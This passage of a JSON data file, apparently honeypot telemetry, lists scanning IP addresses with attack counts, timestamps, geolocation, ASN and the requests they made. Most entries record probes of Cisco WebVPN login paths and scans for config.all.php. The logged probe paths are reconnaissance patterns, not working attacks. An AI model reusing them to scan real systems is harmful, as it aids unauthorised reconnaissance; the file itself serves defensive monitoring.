      "last_seen": "2026-04-27T14:11:13.881Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "13.221.95.123": {
      "attack_count": 2,
      "first_seen": "2026-04-23T00:53:07.825Z",
      "last_seen": "2026-04-23T00:53:10.828Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "18.116.101.220": {
      "attack_count": 2,
      "first_seen": "2026-04-27T12:51:19.416Z",
      "last_seen": "2026-04-27T12:51:22.419Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "18.218.118.203": {
      "attack_count": 2,
      "first_seen": "2026-04-06T16:52:50.252Z",
      "last_seen": "2026-04-06T16:52:53.256Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "185.220.101.134": {
      "attack_count": 2,
      "first_seen": "2026-04-24T09:15:22.789Z",
      "last_seen": "2026-04-24T09:15:24.392Z",
      "ports": [],
      "event_types": [
        "\"GET /bin/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /cisco/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "198.235.24.165": {
      "attack_count": 2,
      "first_seen": "2026-04-26T02:10:38.296Z",
      "last_seen": "2026-04-26T02:10:41.300Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "200.10.34.202": {
      "attack_count": 2,
      "first_seen": "2026-04-30T01:34:27.891Z",
      "last_seen": "2026-04-30T01:34:28.523Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Portland",
      "asn": 264850,
      "as_org": "TODAS LAS REDES SA"
    },
    "45.154.98.52": {
      "attack_count": 2,
      "first_seen": "2026-04-24T09:16:11.638Z",
      "last_seen": "2026-04-24T09:16:18.270Z",
      "ports": [],
      "event_types": [
        "\"GET /panel/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/dhtml/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Lelystad",
      "asn": 210558,
      "as_org": "1337 Services GmbH"
    },
    "184.105.139.73": {
      "attack_count": 1,
      "first_seen": "2026-04-11T10:07:21.545Z",
      "last_seen": "2026-04-11T10:07:21.545Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "195.184.76.42": {
      "attack_count": 1,
      "first_seen": "2026-04-03T04:51:38.319Z",
      "last_seen": "2026-04-03T04:51:38.319Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "54.82.48.51": {
      "attack_count": 1,
      "first_seen": "2026-04-22T01:02:26.980Z",
      "last_seen": "2026-04-22T01:02:26.980Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.156": {
      "attack_count": 1,
      "first_seen": "2026-04-04T10:15:23.458Z",
      "last_seen": "2026-04-04T10:15:23.458Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.207": {
      "attack_count": 1,
      "first_seen": "2026-04-29T02:58:05.931Z",
      "last_seen": "2026-04-29T02:58:05.931Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.53": {
      "attack_count": 1,
      "first_seen": "2026-04-27T00:27:36.164Z",
      "last_seen": "2026-04-27T00:27:36.164Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.231": {
      "attack_count": 1,
      "first_seen": "2026-04-25T05:38:18.757Z",
      "last_seen": "2026-04-25T05:38:18.757Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.20.112": {
      "attack_count": 1,
      "first_seen": "2026-04-06T02:51:59.648Z",
      "last_seen": "2026-04-06T02:51:59.648Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "72.5.43.62": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:15:42.456Z",
      "last_seen": "2026-04-24T09:15:42.456Z",
      "ports": [],
      "event_types": [
        "\"GET /framework/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 399629,
      "as_org": "BL Networks"
    },
    "91.196.152.249": {
      "attack_count": 1,
      "first_seen": "2026-04-18T04:45:55.901Z",
      "last_seen": "2026-04-18T04:45:55.901Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.184": {
      "attack_count": 1,
      "first_seen": "2026-04-05T11:49:12.963Z",
      "last_seen": "2026-04-05T11:49:12.963Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.157": {
      "attack_count": 1,
      "first_seen": "2026-04-30T03:32:20.574Z",
      "last_seen": "2026-04-30T03:32:20.574Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "98.81.156.78": {
      "attack_count": 1,
      "first_seen": "2026-04-02T00:54:45.373Z",
      "last_seen": "2026-04-02T00:54:45.373Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "146.19.49.201": {
      "attack_count": 426,
      "first_seen": "2026-04-11T07:48:57.456Z",
      "last_seen": "2026-04-28T07:26:33.724Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 62005,
      "as_org": "BlueVPS OU"
    },
    "45.134.142.209": {
      "attack_count": 39,
      "first_seen": "2026-04-21T13:42:56.540Z",
      "last_seen": "2026-04-29T20:44:35.672Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.117.227": {
      "attack_count": 36,
      "first_seen": "2026-04-10T15:36:01.938Z",
      "last_seen": "2026-04-29T01:14:54.988Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.78": {
      "attack_count": 33,
      "first_seen": "2026-04-08T19:40:52.935Z",
      "last_seen": "2026-04-29T19:14:36.504Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.61": {
      "attack_count": 30,
      "first_seen": "2026-04-16T04:32:08.406Z",
      "last_seen": "2026-04-29T22:58:07.206Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.150": {
      "attack_count": 30,
      "first_seen": "2026-04-08T19:06:39.619Z",
      "last_seen": "2026-04-29T21:55:57.098Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.234": {
      "attack_count": 30,
      "first_seen": "2026-04-08T11:37:49.650Z",
      "last_seen": "2026-04-29T16:26:02.381Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "156.229.238.182": {
      "attack_count": 29,
      "first_seen": "2026-04-13T08:48:58.911Z",
      "last_seen": "2026-04-15T00:46:08.254Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "88.151.115.101": {
      "attack_count": 29,
      "first_seen": "2026-04-10T16:56:09.250Z",
      "last_seen": "2026-04-13T17:18:24.614Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.76.187": {
      "attack_count": 27,
      "first_seen": "2026-04-10T10:31:32.704Z",
      "last_seen": "2026-04-25T07:16:39.272Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.111.229.123": {
      "attack_count": 22,
      "first_seen": "2026-04-13T00:54:20.802Z",
      "last_seen": "2026-04-15T03:27:46.824Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.252.171.144": {
      "attack_count": 22,
      "first_seen": "2026-04-13T03:01:18.470Z",
      "last_seen": "2026-04-13T06:57:59.192Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.111.213.44": {
      "attack_count": 21,
      "first_seen": "2026-04-13T02:53:59.536Z",
      "last_seen": "2026-04-13T06:12:27.542Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "173.249.254.59": {
      "attack_count": 21,
      "first_seen": "2026-04-08T16:53:48.040Z",
      "last_seen": "2026-04-27T22:14:12.454Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.61": {
      "attack_count": 21,
      "first_seen": "2026-04-08T16:47:46.515Z",
      "last_seen": "2026-04-30T01:42:34.305Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.141.215.28": {
      "attack_count": 20,
      "first_seen": "2026-04-24T09:16:23.254Z",
      "last_seen": "2026-04-24T09:16:51.822Z",
      "ports": [],
      "event_types": [
        "\"GET /STC_VoIP_PIN/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/init/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/ming-source/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings.old/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/includes/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/bg_BG/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/misc/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/modules/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /restapi/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /restapps/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /temp/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /templates_c/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /tests/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /themes/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /user/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /var/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 210558,
      "as_org": "1337 Services GmbH"
    },
    "138.199.43.97": {
      "attack_count": 18,
      "first_seen": "2026-04-21T14:35:03.994Z",
      "last_seen": "2026-04-29T10:26:50.699Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.70.174": {
      "attack_count": 18,
      "first_seen": "2026-04-16T01:55:35.602Z",
      "last_seen": "2026-04-29T17:02:21.447Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.45": {
      "attack_count": 18,
      "first_seen": "2026-04-11T01:25:53.424Z",
      "last_seen": "2026-04-29T06:45:42.717Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.79.99": {
      "attack_count": 18,
      "first_seen": "2026-04-10T16:44:30.094Z",
      "last_seen": "2026-04-24T19:50:40.511Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.48": {
      "attack_count": 18,
      "first_seen": "2026-04-18T12:03:08.034Z",
      "last_seen": "2026-04-29T09:47:04.207Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.57": {
      "attack_count": 18,
      "first_seen": "2026-04-10T01:22:53.020Z",
      "last_seen": "2026-04-29T20:37:34.953Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "165.154.134.152": {
      "attack_count": 16,
      "first_seen": "2026-04-01T18:28:39.307Z",
      "last_seen": "2026-04-01T18:29:20.630Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "23.129.64.186": {
      "attack_count": 16,
      "first_seen": "2026-04-24T09:13:37.108Z",
      "last_seen": "2026-04-24T09:13:59.058Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /libs/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /mail/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /maint/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /meetme/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /mobrise/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /modules/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /nwebmail/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/dhtml/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/flash/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/init/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/ming-source/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings.old/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/includes/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396507,
      "as_org": "Emerald Onion"
    },
    "172.120.45.6": {
      "attack_count": 15,
      "first_seen": "2026-04-13T04:18:06.426Z",
      "last_seen": "2026-04-13T17:32:59.577Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.36.231.92": {
      "attack_count": 15,
      "first_seen": "2026-04-12T01:01:10.482Z",
      "last_seen": "2026-04-13T09:33:10.776Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Weaver",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.159.216.175": {
      "attack_count": 15,
      "first_seen": "2026-04-15T10:17:40.210Z",
      "last_seen": "2026-04-24T14:24:46.943Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.100.106": {
      "attack_count": 15,
      "first_seen": "2026-04-23T14:29:58.807Z",
      "last_seen": "2026-04-29T09:56:49.976Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.227": {
      "attack_count": 15,
      "first_seen": "2026-04-09T01:57:33.535Z",
      "last_seen": "2026-04-21T11:43:52.493Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.48": {
      "attack_count": 15,
      "first_seen": "2026-04-12T03:00:50.029Z",
      "last_seen": "2026-04-29T19:38:15.131Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "166.88.72.238": {
      "attack_count": 14,
      "first_seen": "2026-04-14T00:54:24.144Z",
      "last_seen": "2026-04-14T01:29:12.266Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.121.83.87": {
      "attack_count": 14,
